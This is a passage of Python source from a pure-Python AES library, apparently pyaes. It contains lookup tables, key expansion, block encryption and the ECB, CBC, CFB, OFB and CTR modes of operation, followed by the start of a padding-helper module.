U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]
U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]
U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]
def __init__(self, key):
if len(key) not in (16, 24, 32):
raise ValueError('Invalid key size')
rounds = self.number_of_rounds[len(key)]
# Encryption round keys
self._Ke = [[0] * 4 for i in xrange(rounds + 1)]
# Decryption round keys
self._Kd = [[0] * 4 for i in xrange(rounds + 1)]
round_key_count = (rounds + 1) * 4
KC = len(key) // 4
# Convert the key into ints
tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]
# Copy values into round key arrays
for i in xrange(0, KC):
self._Ke[i // 4][i % 4] = tk[i]
self._Kd[rounds - (i // 4)][i % 4] = tk[i]
# Key expansion (fips-197 section 5.2)
rconpointer = 0
t = KC
while t < round_key_count:
tt = tk[KC - 1]
tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
(self.S[(tt >> 8) & 0xFF] << 16) ^
(self.S[ tt & 0xFF] << 8) ^
self.S[(tt >> 24) & 0xFF] ^
(self.rcon[rconpointer] << 24))
rconpointer += 1
if KC != 8:
for i in xrange(1, KC):
tk[i] ^= tk[i - 1]
# Key expansion for 256-bit keys is "slightly different" (fips-197)
else:
for i in xrange(1, KC // 2):
tk[i] ^= tk[i - 1]
tt = tk[KC // 2 - 1]
tk[KC // 2] ^= (self.S[ tt & 0xFF] ^
(self.S[(tt >> 8) & 0xFF] << 8) ^
(self.S[(tt >> 16) & 0xFF] << 16) ^
(self.S[(tt >> 24) & 0xFF] << 24))
for i in xrange(KC // 2 + 1, KC):
tk[i] ^= tk[i - 1]
# Copy values into round key arrays
j = 0
while j < KC and t < round_key_count:
self._Ke[t // 4][t % 4] = tk[j]
self._Kd[rounds - (t // 4)][t % 4] = tk[j]
j += 1
t += 1
# Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)
for r in xrange(1, rounds):
for j in xrange(0, 4):
tt = self._Kd[r][j]
self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
self.U2[(tt >> 16) & 0xFF] ^
self.U3[(tt >> 8) & 0xFF] ^
self.U4[ tt & 0xFF])
def encrypt(self, plaintext):
'Encrypt a block of plain text using the AES block cipher.'
if len(plaintext) != 16:
raise ValueError('wrong block length')
rounds = len(self._Ke) - 1
(s1, s2, s3) = [1, 2, 3]
a = [0, 0, 0, 0]
# Convert plaintext to (ints ^ key)
t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]
# Apply round transforms
for r in xrange(1, rounds):
for i in xrange(0, 4):
a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^
self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^
self.T4[ t[(i + s3) % 4] & 0xFF] ^
self._Ke[r][i])
t = copy.copy(a)
# The last round is special
result = [ ]
for i in xrange(0, 4):
tt = self._Ke[rounds][i]
result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
return result
def decrypt(self, ciphertext):
'Decrypt a block of cipher text using the AES block cipher.'
if len(ciphertext) != 16:
raise ValueError('wrong block length')
rounds = len(self._Kd) - 1
(s1, s2, s3) = [3, 2, 1]
a = [0, 0, 0, 0]
# Convert ciphertext to (ints ^ key)
t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
# Apply round transforms
for r in xrange(1, rounds):
for i in xrange(0, 4):
a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^
self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^
self.T8[ t[(i + s3) % 4] & 0xFF] ^
self._Kd[r][i])
t = copy.copy(a)
# The last round is special
result = [ ]
for i in xrange(0, 4):
tt = self._Kd[rounds][i]
result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
return result
class Counter(object):
'''A counter object for the Counter (CTR) mode of operation.
To create a custom counter, you can usually just override the
increment method.'''
def __init__(self, initial_value = 1):
# Convert the value into an array of bytes long
self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ]
value = property(lambda s: s._counter)
def increment(self):
'''Increment the counter (overflow rolls back to 0).'''
for i in xrange(len(self._counter) - 1, -1, -1):
self._counter[i] += 1
if self._counter[i] < 256: break
# Carry the one
self._counter[i] = 0
# Overflow
else:
self._counter = [ 0 ] * len(self._counter)
class AESBlockModeOfOperation(object):
'''Super-class for AES modes of operation that require blocks.'''
def __init__(self, key):
self._aes = AES(key)
def decrypt(self, ciphertext):
raise Exception('not implemented')
def encrypt(self, plaintext):
raise Exception('not implemented')
class AESStreamModeOfOperation(AESBlockModeOfOperation):
'''Super-class for AES modes of operation that are stream-ciphers.'''
class AESSegmentModeOfOperation(AESStreamModeOfOperation):
'''Super-class for AES modes of operation that segment data.'''
segment_bytes = 16
class AESModeOfOperationECB(AESBlockModeOfOperation):
'''AES Electronic Codebook Mode of Operation.
o Block-cipher, so data must be padded to 16 byte boundaries
Security Notes:
o This mode is not recommended
o Any two identical blocks produce identical encrypted values,
exposing data patterns. (See the image of Tux on wikipedia)
Also see:
o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29
o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1'''
name = "Electronic Codebook (ECB)"
def encrypt(self, plaintext):
if len(plaintext) != 16:
raise ValueError('plaintext block must be 16 bytes')
plaintext = _string_to_bytes(plaintext)
return _bytes_to_string(self._aes.encrypt(plaintext))
def decrypt(self, ciphertext):
if len(ciphertext) != 16:
raise ValueError('ciphertext block must be 16 bytes')
ciphertext = _string_to_bytes(ciphertext)
return _bytes_to_string(self._aes.decrypt(ciphertext))
class AESModeOfOperationCBC(AESBlockModeOfOperation):
'''AES Cipher-Block Chaining Mode of Operation.
o The Initialization Vector (IV)
o Block-cipher, so data must be padded to 16 byte boundaries
o An incorrect initialization vector will only cause the first
block to be corrupt; all other blocks will be intact
o A corrupt bit in the cipher text will cause a block to be
corrupted, and the next block to be inverted, but all other
blocks will be intact.
Security Notes:
o This method (and CTR) ARE recommended.
Also see:
o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29
o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2'''
name = "Cipher-Block Chaining (CBC)"
def __init__(self, key, iv = None):
if iv is None:
self._last_cipherblock = [ 0 ] * 16
elif len(iv) != 16:
raise ValueError('initialization vector must be 16 bytes')
else:
self._last_cipherblock = _string_to_bytes(iv)
AESBlockModeOfOperation.__init__(self, key)
def encrypt(self, plaintext):
if len(plaintext) != 16:
raise ValueError('plaintext block must be 16 bytes')
plaintext = _string_to_bytes(plaintext)
precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]
self._last_cipherblock = self._aes.encrypt(precipherblock)
return _bytes_to_string(self._last_cipherblock)
def decrypt(self, ciphertext):
if len(ciphertext) != 16:
raise ValueError('ciphertext block must be 16 bytes')
cipherblock = _string_to_bytes(ciphertext)
plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]
self._last_cipherblock = cipherblock
return _bytes_to_string(plaintext)
class AESModeOfOperationCFB(AESSegmentModeOfOperation):
'''AES Cipher Feedback Mode of Operation.
o A stream-cipher, so input does not need to be padded to blocks,
but does need to be padded to segment_size
Also see:
o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29
o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3'''
name = "Cipher Feedback (CFB)"
def __init__(self, key, iv, segment_size = 1):
if segment_size == 0: segment_size = 1
if iv is None:
self._shift_register = [ 0 ] * 16
elif len(iv) != 16:
raise ValueError('initialization vector must be 16 bytes')
else:
self._shift_register = _string_to_bytes(iv)
self._segment_bytes = segment_size
AESBlockModeOfOperation.__init__(self, key)
segment_bytes = property(lambda s: s._segment_bytes)
def encrypt(self, plaintext):
if len(plaintext) % self._segment_bytes != 0:
raise ValueError('plaintext block must be a multiple of segment_size')
plaintext = _string_to_bytes(plaintext)
# Break block into segments
encrypted = [ ]
for i in xrange(0, len(plaintext), self._segment_bytes):
plaintext_segment = plaintext[i: i + self._segment_bytes]
xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)]
cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ]
# Shift the top bits out and the ciphertext in
self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
encrypted.extend(cipher_segment)
return _bytes_to_string(encrypted)
def decrypt(self, ciphertext):
if len(ciphertext) % self._segment_bytes != 0:
raise ValueError('ciphertext block must be a multiple of segment_size')
ciphertext = _string_to_bytes(ciphertext)
# Break block into segments
decrypted = [ ]
for i in xrange(0, len(ciphertext), self._segment_bytes):
cipher_segment = ciphertext[i: i + self._segment_bytes]
xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)]
plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ]
# Shift the top bits out and the ciphertext in
self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
decrypted.extend(plaintext_segment)
return _bytes_to_string(decrypted)
class AESModeOfOperationOFB(AESStreamModeOfOperation):
'''AES Output Feedback Mode of Operation.
o A stream-cipher, so input does not need to be padded to blocks,
allowing arbitrary length data.
o A bit twiddled in the cipher text, twiddles the same bit in the
same bit in the plain text, which can be useful for error
correction techniques.
Also see:
o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29
o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4'''
name = "Output Feedback (OFB)"
def __init__(self, key, iv = None):
if iv is None:
self._last_precipherblock = [ 0 ] * 16
elif len(iv) != 16:
raise ValueError('initialization vector must be 16 bytes')
else:
self._last_precipherblock = _string_to_bytes(iv)
self._remaining_block = [ ]
AESBlockModeOfOperation.__init__(self, key)
def encrypt(self, plaintext):
encrypted = [ ]
for p in _string_to_bytes(plaintext):
if len(self._remaining_block) == 0:
self._remaining_block = self._aes.encrypt(self._last_precipherblock)
self._last_precipherblock = [ ]
precipherbyte = self._remaining_block.pop(0)
self._last_precipherblock.append(precipherbyte)
cipherbyte = p ^ precipherbyte
encrypted.append(cipherbyte)
return _bytes_to_string(encrypted)
def decrypt(self, ciphertext):
# AES-OFB is symetric
return self.encrypt(ciphertext)
class AESModeOfOperationCTR(AESStreamModeOfOperation):
'''AES Counter Mode of Operation.
o A stream-cipher, so input does not need to be padded to blocks,
allowing arbitrary length data.
o The counter must be the same size as the key size (ie. len(key))
o Each block independant of the other, so a corrupt byte will not
damage future blocks.
o Each block has a uniue counter value associated with it, which
contributes to the encrypted value, so no data patterns are
leaked.
o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and
Segmented Integer Counter (SIC
Security Notes:
o This method (and CBC) ARE recommended.
o Each message block is associated with a counter value which must be
unique for ALL messages with the same key. Otherwise security may be
compromised.
Also see:
o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29
o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5
and Appendix B for managing the initial counter'''
name = "Counter (CTR)"
def __init__(self, key, counter = None):
AESBlockModeOfOperation.__init__(self, key)
if counter is None:
counter = Counter()
self._counter = counter
self._remaining_counter = [ ]
def encrypt(self, plaintext):
while len(self._remaining_counter) < len(plaintext):
self._remaining_counter += self._aes.encrypt(self._counter.value)
self._counter.increment()
plaintext = _string_to_bytes(plaintext)
encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ]
self._remaining_counter = self._remaining_counter[len(encrypted):]
return _bytes_to_string(encrypted)
def decrypt(self, crypttext):
# AES-CTR is symetric
return self.encrypt(crypttext)
# Simple lookup table for each mode
AESModesOfOperation = dict(
ctr = AESModeOfOperationCTR,
cbc = AESModeOfOperationCBC,
cfb = AESModeOfOperationCFB,
ecb = AESModeOfOperationECB,
ofb = AESModeOfOperationOFB,
)

View File

@ -0,0 +1,227 @@
# The MIT License (MIT)
#
# Copyright (c) 2014 Richard Moore
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
from .aes import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation
from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable
# First we inject three functions to each of the modes of operations
#
# _can_consume(size)
# - Given a size, determine how many bytes could be consumed in
# a single call to either the decrypt or encrypt method
#
# _final_encrypt(data, padding = PADDING_DEFAULT)
# - call and return encrypt on this (last) chunk of data,
# padding as necessary; this will always be at least 16
# bytes unless the total incoming input was less than 16
# bytes
#
# _final_decrypt(data, padding = PADDING_DEFAULT)
# - same as _final_encrypt except for decrypt, for
# stripping off padding
#
PADDING_NONE = 'none'
PADDING_DEFAULT = 'default'
# @TODO: Ciphertext stealing and explicit PKCS#7
# PADDING_CIPHERTEXT_STEALING
# PADDING_PKCS7
# ECB and CBC are block-only ciphers
def _block_can_consume(self, size):
if size >= 16: return 16
return 0
# After padding, we may have more than one block
def _block_final_encrypt(self, data, padding = PADDING_DEFAULT):
if padding == PADDING_DEFAULT:
data = append_PKCS7_padding(data)
elif padding == PADDING_NONE:
if len(data) != 16:
raise Exception('invalid data length for final block')
else:
raise Exception('invalid padding option')
if len(data) == 32:
return self.encrypt(data[:16]) + self.encrypt(data[16:])
return self.encrypt(data)
def _block_final_decrypt(self, data, padding = PADDING_DEFAULT):
if padding == PADDING_DEFAULT:
